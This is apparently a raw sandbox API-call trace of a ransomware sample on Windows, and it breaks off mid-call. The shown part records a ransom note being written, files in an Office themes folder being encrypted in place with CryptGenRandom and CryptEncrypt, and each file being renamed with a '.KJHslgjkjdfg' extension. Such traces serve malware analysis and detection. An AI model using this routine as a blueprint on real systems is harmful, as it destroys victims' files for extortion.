GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.581] GetProcessHeap () returned 0x2a0000 [0146.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.581] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.581] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.581] GetProcessHeap () returned 0x2a0000 [0146.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.582] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt") returned 82 [0146.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.582] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.583] CloseHandle (hObject=0x118) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.584] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.584] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0146.584] GetProcessHeap () returned 0x2a0000 [0146.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.585] GetProcessHeap () returned 0x2a0000 [0146.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.585] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.585] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0146.585] GetProcessHeap () returned 0x2a0000 [0146.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.586] GetProcessHeap () returned 0x2a0000 [0146.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.586] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.586] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.586] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.588] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.589] GetProcessHeap () returned 0x2a0000 [0146.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.589] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.589] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.589] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.589] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.589] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.589] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.589] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.589] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.589] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.589] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.589] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb1d8, lpOverlapped=0x0) returned 1 [0146.591] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb1e0, dwBufLen=0xb1e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb1e0) returned 1 [0146.591] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.591] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb1e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb1e0, lpOverlapped=0x0) returned 1 [0146.592] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.592] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.592] SetEndOfFile (hFile=0x118) returned 1 [0146.595] GetProcessHeap () returned 0x2a0000 [0146.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.595] GetProcessHeap () returned 0x2a0000 [0146.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.kjhslgjkjdfg")) returned 1 [0146.601] CloseHandle (hObject=0x118) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0146.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.602] GetProcessHeap () returned 0x2a0000 [0146.602] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.602] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.603] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.603] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.603] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.603] GetProcessHeap () returned 0x2a0000 [0146.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.603] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.603] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.603] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.606] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.606] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.606] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.607] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.607] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.607] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.607] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.607] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1e0, lpOverlapped=0x0) returned 1 [0146.607] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0) returned 1 [0146.607] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.607] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1e0, lpOverlapped=0x0) returned 1 [0146.607] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.607] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.607] SetEndOfFile (hFile=0x118) returned 1 [0146.609] GetProcessHeap () returned 0x2a0000 [0146.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.609] GetProcessHeap () returned 0x2a0000 [0146.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.kjhslgjkjdfg")) returned 1 [0146.621] CloseHandle (hObject=0x118) returned 1 [0146.621] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.622] GetProcessHeap () returned 0x2a0000 [0146.622] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.622] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.622] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.622] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0146.624] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.624] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.624] GetProcessHeap () returned 0x2a0000 [0146.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.624] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.624] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.624] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.625] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.625] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.625] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.625] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.625] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.625] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.625] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.625] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.625] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x507, lpOverlapped=0x0) returned 1 [0146.625] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x510, dwBufLen=0x510 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x510) returned 1 [0146.625] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.625] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x510, lpOverlapped=0x0) returned 1 [0146.626] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.626] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.626] SetEndOfFile (hFile=0x118) returned 1 [0146.629] GetProcessHeap () returned 0x2a0000 [0146.629] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.629] GetProcessHeap () returned 0x2a0000 [0146.629] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.630] CloseHandle (hObject=0x118) returned 1 [0146.630] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.630] GetProcessHeap () returned 0x2a0000 [0146.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.630] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.630] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.630] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.633] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.633] GetProcessHeap () returned 0x2a0000 [0146.633] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.633] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.634] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.634] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.634] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, 